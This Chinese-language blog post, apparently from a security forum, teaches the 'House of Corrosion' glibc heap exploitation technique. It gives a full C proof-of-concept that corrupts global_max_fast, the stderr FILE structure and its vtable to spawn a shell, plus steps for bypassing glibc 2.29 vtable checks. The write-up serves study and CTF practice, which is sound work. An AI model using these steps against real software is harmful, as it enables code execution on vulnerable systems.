House-of-Corrosion 一种新的堆利用技巧

背景介绍

House of Corrosion 是一种针对glibc2.27跟glibc2.29的堆利用技术,周末抽空学习了一下

官方介绍:https://github.com/CptGibbon/House-of-Corrosion

前提条件

  • 需要一个UAF漏洞
  • 可以分配较大的堆块(size <=0x3b00)
  • 不需要任何泄露

主要攻击步骤:

  • 通过爆破4bit,改写bk进行unsortedbin attack 改写global_max_fast变量
  • 结合堆风水技术,通过UAF漏洞以及fastbin corruption去篡改stderr文件流对象
  • 触发stderr得到shell

原语

House of Corrosion主要是通过下面两个原语来完成攻击

任意写

unsortedbin attack修改global_max_fast之后,通过分配释放特定大小的堆块,我们可以修改地址位于fastbinY之后的数据

举个例子:
fastbinY地址如下:

我想改写stderr的_IO_buf_end

根据算式:

chunk size = (delta * 2) + 0x20 ,delta为目标地址与fastbinY的offset

在这个例子中,chunk大小应该是(0x7ffff7dd06c0-0x7ffff7dcfc50)*2+0x20=0x1500字节

我们只需要释放预先分配好的0x1500字节大小堆块,然后通过UAF修改堆块内容,再分配回来,就能成功修改目标地址的数据

A=malloc(0x14f0) //预先分配0x1500字节
...
// unsortedbin attack修改global_max_fast
...
free(A) 
*A=value //UAF修改数据
malloc(0x14f0)

free(A)之后,目标地址会指向A

通过UAF修改A中的fd,*A=value

当我们再次把A分配回来时,value也就成功写入对应的target_addr

Transplant (转移...好像有点拗口)

预先分配两个大小相同均为dst_size的堆块A,B,再释放掉

src_size=((src_addr-fastbinY) * 2) + 0x20 //src_addr包含了libc地址
dst_size=((dst_addr-fastbinY) * 2) + 0x20 //dst_addr是我们要写的目标地址
A=malloc(dst_size)
B=malloc(dst_size)
free(B)
free(A)

此时目标位置情况如下:

通过UAF,部分改写A的fd指针使其指向本身,形成类似double free的情况

再把A分配回来,同时篡改A的size为src_size,释放掉A

再次篡改A的size,恢复为dst_size,然后malloc(dst_size),就成功完成src->dst数据的转移

详细步骤

glibc2.27

  1. 堆风水
  2. Unsortedbin attack
  3. Fake unsorted chunk
  4. 改写stderr
  5. 触发stderr控制执行流

第一步

释放一个chunk到large bin里,通过UAF篡改size里面的NO_MAIN_ARENA标志位,将其置为1

第二步

unsortedbin attack改写global_max_fast

第三步

在global_max_fast伪造chunk,size的话需要跟上面的large bin匹配,确保能落在一起,同时NON_MAIN_ARENA也要置为1,同时也要确保bk指向一个可写的区域,我这里是free了一个特定大小的堆块,让它把堆地址写进去

第四步

改写stderr结构体

  • 通过上面的transplant原语,从glibc的.data里面找一个libc地址转移到stderr的_IO_buf_end,官方选择的是__default_morecore

  • 写原语写_IO_buf_base,使得_IO_buf_base+_IO_buf_end=onegadget

  • 用写原语将_flags置为0,这是为了bypass _IO_str_overflow里面的check,同时也是为了one_gadget能顺利执行

  • 将_IO_write_ptr置为0x7fffffff,确保确保_IO_write_ptr-_IO_write_base>_IO_buf_base+_IO_buf_end

  • 将stdout的_mode置为0,防止干扰下面改写的_flags

  • 将stderr+0xe0位置(刚好是stdout的_flags位置)写为call rax gadget,可以通过transplant原语再partial overwrite

  • 最后通过写原语partial overwrite写vtable,使其指向IO_str_jumps-0x10

第五步

再次改写global_max_fast(官方好像没提。。。但是不改的话貌似不行)
通过写原语再次改写global_max_fast,将其改到一个合适的大小

第六步

最后一次malloc的时候,malloc一个size大于上面global_max_fast的chunk,在把unsortedbin放进largebin的时候,会检查NON_MAIN_ARENA标志位,由于我们前面置1了,所以程序会触发这个断言,调用stderr,即使stderr之前被close的话也是无所谓的,然后它会尝试call vtable里面的__xsputn,由于我们改写了vtable,这时候会变成call _IO_str_overflow(),最后调用_s._allocate_buffer()函数指针,也就是我们位于stderr+0xe0的call rax gadget起shell

由于需要爆破4bit libc地址,我这个demo为了方便调试就直接把libc当作已知
demo:

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
  unsigned long long int libc_base= &system - 324672 ;
  void *stderr_IO_write_ptr = malloc(0x14c0);
  void *C = malloc(0x420);
  void *fake_bk = malloc(0x3a08);
  void *large = malloc(0x720);
  void *fake_size = malloc(0x3a08 - 0x20);
  void *stdout_mode = malloc(0x17b0);
  void *stderr_flag = malloc(0x1470);
  void *tmp = malloc(0x1120);
  free(tmp);
  void *stderr_IO_buf_end_A = malloc(0x14f0);
  void *stderr_IO_buf_end_B = malloc(0x14f0);
  void *stderr_IO_buf_base = malloc(0x14e0);
  void *vtable = malloc(0x1620);
  tmp = malloc(0x13f0);
  free(tmp);
  void *stdout_flag = malloc(0x1630);
  void *global_max_fast_1 = malloc(0x39f0);

  printf("防止与top chunk合并");
  malloc(0x10); //top

  printf("释放一个chunk到large bin里,通过UAF篡改NOT_MAIN_ARENA标志位");
  free(large);
  malloc(0x740);
  *(__uint64_t *)(large - 8) = 0x735;

  printf("large bin attack 修改global_max_fast");
  free(C);
  __uint64_t global_max_fast_addr = libc_base+ 4118848;
  *(__uint64_t *)(C + 8) = global_max_fast_addr - 0x10; //这里应该是partial overwrite
  malloc(0x420);

  printf("伪造unsortedbin,确保bk指向可写地址");
  free(fake_bk);

  printf("伪造unsortedbin,size必须设置为NON_MAIN_ARENA");
  free(fake_size);
  *(__uint64_t *)fake_size = 0x715;
  malloc(0x3a08 - 0x20);

  printf("关闭stdout输出,防止异常情况");
  free(stdout_mode);
  *(char *)(stdout_mode) = '\x01';
  malloc(0x17b0);

  printf("改写stderr_flag");
  free(stderr_flag);
  *(__uint64_t *)(stderr_flag) = 0;
  malloc(0x1470);

  printf("通过交换,往stderr_IO_buf_end填入libc地址");
  free(stderr_IO_buf_end_B);
  free(stderr_IO_buf_end_A);
  *(__uint64_t *)stderr_IO_buf_end_A = stderr_IO_buf_end_A - 0x10; //这里应该是partial overwrite
  stderr_IO_buf_end_A = malloc(0x14f0);
  *(__uint64_t *)(stderr_IO_buf_end_A - 8) = 0x1131;
  free(stderr_IO_buf_end_A);
  *(__uint64_t *)(stderr_IO_buf_end_A - 8) = 0x1501;
  malloc(0x14f0);

  printf("使_IO_buf_base+_IO_buf_end=onegadget");
  free(stderr_IO_buf_base);
  *(__uint64_t *)stderr_IO_buf_base = 0x4becb;
  malloc(0x14e0);

  printf("确保_IO_write_ptr-_IO_write_base>_IO_buf_base+_IO_buf_end");
  free(stderr_IO_write_ptr);
  *(__uint64_t *)stderr_IO_write_ptr = 0x7fffffffffff;
  malloc(0x14c0);

  printf("改写vtable,指向IO_str_jumps-0x10");
  __uint64_t IO_str_jumps = libc_base + 0x3e8350;
  free(vtable);
  *(__uint64_t *)vtable = IO_str_jumps - 0x10; //这里应该是partial overwrite
  malloc(0x1620);

  printf("改写stdout_flag为call rax gadgtet");
  free(stdout_flag);
  *(__uint64_t *)stdout_flag = stdout_flag - 0x10;
  stdout_flag = malloc(0x1630);
  *(__uint64_t *)(stdout_flag - 8) = 0x1401;
  free(stdout_flag);
  *(__uint64_t *)(stdout_flag - 8) = 0x1641;
  *(__uint64_t *)stdout_flag =libc_base + 0x00000000001af423; //这里应该是partial overwrite
  malloc(0x1631);

  printf("改写global_max_fast到合适大小");
  free(global_max_fast_1);
  *(__uint64_t *)(global_max_fast_1) = 0x3a00;
  malloc(0x39f0);

  printf("触发stderr");
  malloc(0x3b00);

  exit(-1);
  return 0;
}

glibc2.29

glibc2.29的话其实条件十分苛刻,基本上没有什么意义,不过调试一下权当学习

Tcache attack

用tcache dup来替代 unsortedbin attack改写global_max_fast
例如:

A=malloc(0x10)
B=malloc(0x10)
C=malloc(0x420) //0x420 and above
malloc(0x10) // 防止跟topchunk合并

free(C)
malloc(0x430) //C落入largebin

free(B)
free(A)
UAF改写A的fd指向C
UAF修改C的fd指向global_max_fast 
再分配回来就能改global_max_fast

这个就不细说了,挺简单

stderr结构体修改

stderr的话不用像glibc2.27那样改那么多,只用把vtable覆盖陈一个堆地址,_flag改成"/bin/sh"

然后用过Transplant技术,把DW.ref.gcc_personality_v0位置的libc地址弄到堆上伪造的vtable的sync,同时用partial overwrite把这个libc地址改成offset 0x32c7a的add rsi, r8; jmp rsi gadget

关闭libio vtable保护

为了绕过_IO_vtable_check函数的检查,我们需要先通过free一个fastbin chunk往_rtld_global._dlnns填入一个堆地址,注意提前调整mp.mmap_threshold

通过transplant,把_rtld_global._dl_ns[0]._ns_loaded的值移到_rtld_global._dl_ns[1]._ns_loaded,再用任意写把_rtld_global._dl_ns[0]._ns_loaded置为0,详细原理还是查阅官方的介绍吧

用任意写把libc的link_map里面l_ns的值置为1,同时修改l_addr到合适值
使得l_addr+=wcpcpy的offset+wcpcpy的大小0x26=system_addr

触发stderr

还是跟libc2.27一样,准备一个NON_MAIN_ARENA被置为1的unsortedbin,当它落入largebin时触发assert,最后会call 我们__sync位置的add rsi, r8; jmp rsi gadget,此时rsi刚好是system地址,rdi则是_flag地址

glibc2.29利用的话要预先知道libc跟ld.so之间的偏移,同时也要可以分配释放非常大的堆块,所以非常鸡肋

The libc-ld delta appears to be the same on bare-metal under Ubuntu 19.04, with values of 0x203000 (started under a debugger) and 0x1ff000 (debugger attached) respectively in a small, CTF-style binary written in C

总结

House-of-Corrosion本质就是修改global_max_fast后滥用fastbin的分配释放,算是一种思路吧,给各位大佬献丑

点击收藏 | 0 关注 | 1
登录 后跟帖